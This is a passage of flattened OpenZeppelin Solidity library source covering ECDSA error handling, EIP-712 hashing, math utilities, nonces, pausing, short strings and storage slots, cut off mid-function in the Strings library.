*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
*/
function _throwError(RecoverError error, bytes32 errorArg) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert ECDSAInvalidSignature();
} else if (error == RecoverError.InvalidSignatureLength) {
revert ECDSAInvalidSignatureLength(uint256(errorArg));
} else if (error == RecoverError.InvalidSignatureS) {
revert ECDSAInvalidSignatureS(errorArg);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)
pragma solidity ^0.8.20;
import {MessageHashUtils} from "./MessageHashUtils.sol";
import {ShortStrings, ShortString} from "../ShortStrings.sol";
import {IERC5267} from "../../interfaces/IERC5267.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose
* encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract
* does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to
* produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain
* separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the
* separator from the immutable values, which is cheaper than accessing a cached version in cold storage.
*
* @custom:oz-upgrades-unsafe-allow state-variable-immutable
*/
abstract contract EIP712 is IERC5267 {
using ShortStrings for *;
bytes32 private constant TYPE_HASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _cachedDomainSeparator;
uint256 private immutable _cachedChainId;
address private immutable _cachedThis;
bytes32 private immutable _hashedName;
bytes32 private immutable _hashedVersion;
ShortString private immutable _name;
ShortString private immutable _version;
string private _nameFallback;
string private _versionFallback;
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_name = name.toShortStringWithFallback(_nameFallback);
_version = version.toShortStringWithFallback(_versionFallback);
_hashedName = keccak256(bytes(name));
_hashedVersion = keccak256(bytes(version));
_cachedChainId = block.chainid;
_cachedDomainSeparator = _buildDomainSeparator();
_cachedThis = address(this);
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
return _cachedDomainSeparator;
} else {
return _buildDomainSeparator();
}
}
function _buildDomainSeparator() private view returns (bytes32) {
return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
}
/**
* @dev See {IERC-5267}.
*/
function eip712Domain()
public
view
virtual
returns (
bytes1 fields,
string memory name,
string memory version,
uint256 chainId,
address verifyingContract,
bytes32 salt,
uint256[] memory extensions
)
{
return (
hex"0f", // 01111
_EIP712Name(),
_EIP712Version(),
block.chainid,
address(this),
bytes32(0),
new uint256[](0)
);
}
/**
* @dev The name parameter for the EIP712 domain.
*
* NOTE: By default this function reads _name which is an immutable value.
* It only reads from storage if necessary (in case the value is too large to fit in a ShortString).
*/
// solhint-disable-next-line func-name-mixedcase
function _EIP712Name() internal view returns (string memory) {
return _name.toStringWithFallback(_nameFallback);
}
/**
* @dev The version parameter for the EIP712 domain.
*
* NOTE: By default this function reads _version which is an immutable value.
* It only reads from storage if necessary (in case the value is too large to fit in a ShortString).
*/
// solhint-disable-next-line func-name-mixedcase
function _EIP712Version() internal view returns (string memory) {
return _version.toStringWithFallback(_versionFallback);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)
pragma solidity ^0.8.20;
import {Strings} from "../Strings.sol";
/**
* @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing.
*
* The library provides methods for generating a hash of a message that conforms to the
* https://eips.ethereum.org/EIPS/eip-191[EIP 191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712]
* specifications.
*/
library MessageHashUtils {
/**
* @dev Returns the keccak256 digest of an EIP-191 signed data with version
* `0x45` (`personal_sign` messages).
*
* The digest is calculated by prefixing a bytes32 `messageHash` with
* `"\x19Ethereum Signed Message:\n32"` and hashing the result. It corresponds with the
* hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.
*
* NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with
* keccak256, although any bytes32 value can be safely used because the final digest will
* be re-hashed.
*
* See {ECDSA-recover}.
*/
function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash
mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix
digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)
}
}
/**
* @dev Returns the keccak256 digest of an EIP-191 signed data with version
* `0x45` (`personal_sign` messages).
*
* The digest is calculated by prefixing an arbitrary `message` with
* `"\x19Ethereum Signed Message:\n" + len(message)` and hashing the result. It corresponds with the
* hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method.
*
* See {ECDSA-recover}.
*/
function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
return
keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
}
/**
* @dev Returns the keccak256 digest of an EIP-191 signed data with version
* `0x00` (data with intended validator).
*
* The digest is calculated by prefixing an arbitrary `data` with `"\x19\x00"` and the intended
* `validator` address. Then hashing the result.
*
* See {ECDSA-recover}.
*/
function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(hex"19_00", validator, data));
}
/**
* @dev Returns the keccak256 digest of an EIP-712 typed data (EIP-191 version `0x01`).
*
* The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with
* `\x19\x01` and hashing the result. It corresponds to the hash signed by the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712.
*
* See {ECDSA-recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
/// @solidity memory-safe-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, hex"19_01")
mstore(add(ptr, 0x02), domainSeparator)
mstore(add(ptr, 0x22), structHash)
digest := keccak256(ptr, 0x42)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Muldiv operation overflow.
*/
error MathOverflowedMulDiv();
enum Rounding {
Floor, // Toward negative infinity
Ceil, // Toward positive infinity
Trunc, // Toward zero
Expand // Away from zero
}
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds towards infinity instead
* of rounding towards zero.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
if (b == 0) {
// Guarantee the same behavior as in a regular Solidity division.
return a / b;
}
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
/**
* @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
* denominator == 0.
* @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
* Uniswap Labs also under MIT license.
*/
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0 = x * y; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
// Solidity will revert if denominator == 0, unlike the div opcode on its own.
// The surrounding unchecked block does not change this fact.
// See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
if (denominator <= prod1) {
revert MathOverflowedMulDiv();
}
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator and compute largest power of two divisor of denominator.
// Always >= 1. See https://cs.stackexchange.com/q/138556/92363.
uint256 twos = denominator & (0 - denominator);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
// that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
// works in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
// This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
// less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inverse;
return result;
}
}
/**
* @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
*/
function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
/**
* @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
* towards zero.
*
* Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
*/
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
// For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
//
// We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
// Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
uint256 result = 1 << (log2(a) >> 1);
// At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
// since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
// every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
/**
* @notice Calculates sqrt(a), following the selected rounding direction.
*/
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
}
}
/**
* @dev Return the log in base 2 of a positive value rounded towards zero.
* Returns 0 if given 0.
*/
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
/**
* @dev Return the log in base 2, following the selected rounding direction, of a positive value.
* Returns 0 if given 0.
*/
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
}
}
/**
* @dev Return the log in base 10 of a positive value rounded towards zero.
* Returns 0 if given 0.
*/
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
/**
* @dev Return the log in base 10, following the selected rounding direction, of a positive value.
* Returns 0 if given 0.
*/
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
}
}
/**
* @dev Return the log in base 256 of a positive value rounded towards zero.
* Returns 0 if given 0.
*
* Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
*/
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
/**
* @dev Return the log in base 256, following the selected rounding direction, of a positive value.
* Returns 0 if given 0.
*/
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
}
}
/**
* @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
*/
function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
return uint8(rounding) % 2 == 1;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard signed math utilities missing in the Solidity language.
*/
library SignedMath {
/**
* @dev Returns the largest of two signed numbers.
*/
function max(int256 a, int256 b) internal pure returns (int256) {
return a > b ? a : b;
}
/**
* @dev Returns the smallest of two signed numbers.
*/
function min(int256 a, int256 b) internal pure returns (int256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two signed numbers without overflow.
* The result is rounded towards zero.
*/
function average(int256 a, int256 b) internal pure returns (int256) {
// Formula from the book "Hacker's Delight"
int256 x = (a & b) + ((a ^ b) >> 1);
return x + (int256(uint256(x) >> 255) & (a ^ b));
}
/**
* @dev Returns the absolute unsigned value of a signed value.
*/
function abs(int256 n) internal pure returns (uint256) {
unchecked {
// must be unchecked in order to support `n = type(int256).min`
return uint256(n >= 0 ? n : -n);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides tracking nonces for addresses. Nonces will only increment.
*/
abstract contract Nonces {
/**
* @dev The nonce used for an `account` is not the expected current nonce.
*/
error InvalidAccountNonce(address account, uint256 currentNonce);
mapping(address account => uint256) private _nonces;
/**
* @dev Returns the next unused nonce for an address.
*/
function nonces(address owner) public view virtual returns (uint256) {
return _nonces[owner];
}
/**
* @dev Consumes a nonce.
*
* Returns the current value and increments nonce.
*/
function _useNonce(address owner) internal virtual returns (uint256) {
// For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be
// decremented or reset. This guarantees that the nonce never overflows.
unchecked {
// It is important to do x++ and not ++x here.
return _nonces[owner]++;
}
}
/**
* @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.
*/
function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
uint256 current = _useNonce(owner);
if (nonce != current) {
revert InvalidAccountNonce(owner, current);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Pausable.sol)
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
bool private _paused;
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
/**
* @dev The operation failed because the contract is paused.
*/
error EnforcedPause();
/**
* @dev The operation failed because the contract is not paused.
*/
error ExpectedPause();
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
_requireNotPaused();
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
_requirePaused();
_;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Throws if the contract is paused.
*/
function _requireNotPaused() internal view virtual {
if (paused()) {
revert EnforcedPause();
}
}
/**
* @dev Throws if the contract is not paused.
*/
function _requirePaused() internal view virtual {
if (!paused()) {
revert ExpectedPause();
}
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)
pragma solidity ^0.8.20;
import {StorageSlot} from "./StorageSlot.sol";
// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
// | length | 0x BB |
type ShortString is bytes32;
/**
* @dev This library provides functions to convert short memory strings
* into a `ShortString` type that can be used as an immutable variable.
*
* Strings of arbitrary length can be optimized using this library if
* they are short enough (up to 31 bytes) by packing them with their
* length (1 byte) in a single EVM word (32 bytes). Additionally, a
* fallback mechanism can be used for every other case.
*
* Usage example:
*
* ```solidity
* contract Named {
* using ShortStrings for *;
*
* ShortString private immutable _name;
* string private _nameFallback;
*
* constructor(string memory contractName) {
* _name = contractName.toShortStringWithFallback(_nameFallback);
* }
*
* function name() external view returns (string memory) {
* return _name.toStringWithFallback(_nameFallback);
* }
* }
* ```
*/
library ShortStrings {
// Used as an identifier for strings longer than 31 bytes.
bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;
error StringTooLong(string str);
error InvalidShortString();
/**
* @dev Encode a string of at most 31 chars into a `ShortString`.
*
* This will trigger a `StringTooLong` error is the input string is too long.
*/
function toShortString(string memory str) internal pure returns (ShortString) {
bytes memory bstr = bytes(str);
if (bstr.length > 31) {
revert StringTooLong(str);
}
return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
}
/**
* @dev Decode a `ShortString` back to a "normal" string.
*/
function toString(ShortString sstr) internal pure returns (string memory) {
uint256 len = byteLength(sstr);
// using `new string(len)` would work locally but is not memory safe.
string memory str = new string(32);
/// @solidity memory-safe-assembly
assembly {
mstore(str, len)
mstore(add(str, 0x20), sstr)
}
return str;
}
/**
* @dev Return the length of a `ShortString`.
*/
function byteLength(ShortString sstr) internal pure returns (uint256) {
uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
if (result > 31) {
revert InvalidShortString();
}
return result;
}
/**
* @dev Encode a string into a `ShortString`, or write it to storage if it is too long.
*/
function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
if (bytes(value).length < 32) {
return toShortString(value);
} else {
StorageSlot.getStringSlot(store).value = value;
return ShortString.wrap(FALLBACK_SENTINEL);
}
}
/**
* @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
*/
function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
return toString(value);
} else {
return store;
}
}
/**
* @dev Return the length of a string that was encoded to `ShortString` or written to storage using
* {setWithFallback}.
*
* WARNING: This will return the "byte length" of the string. This may not reflect the actual length in terms of
* actual characters as the UTF-8 encoding of a single character can span over multiple bytes.
*/
function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
return byteLength(value);
} else {
return bytes(store).length;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.
pragma solidity ^0.8.20;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```solidity
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(newImplementation.code.length > 0);
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` with member `value` located at `slot`.
*/
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` representation of the string storage pointer `store`.
*/
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
/**
* @dev Returns an `BytesSlot` with member `value` located at `slot`.
*/
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
*/
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)
pragma solidity ^0.8.20;
import {Math} from "./math/Math.sol";
import {SignedMath} from "./math/SignedMath.sol";
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant HEX_DIGITS = "0123456789abcdef";
uint8 private constant ADDRESS_LENGTH = 20;
/**
* @dev The `value` string doesn't fit in the specified `length`.
*/
error StringsInsufficientHexLength(uint256 value, uint256 length);
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
unchecked {
uint256 length = Math.log10(value) + 1;
string memory buffer = new string(length);
uint256 ptr;
/// @solidity memory-safe-assembly
assembly {
ptr := add(buffer, add(32, length))
}
while (true) {
ptr--;
/// @solidity memory-safe-assembly
assembly {
mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
}
value /= 10;
if (value == 0) break;
}
return buffer;
}
}
/**
* @dev Converts a `int256` to its ASCII `string` decimal representation.
*/
function toStringSigned(int256 value) internal pure returns (string memory) {
return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value)));
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
unchecked {
return toHexString(value, Math.log256(value) + 1);
}
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
uint256 localValue = value;
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
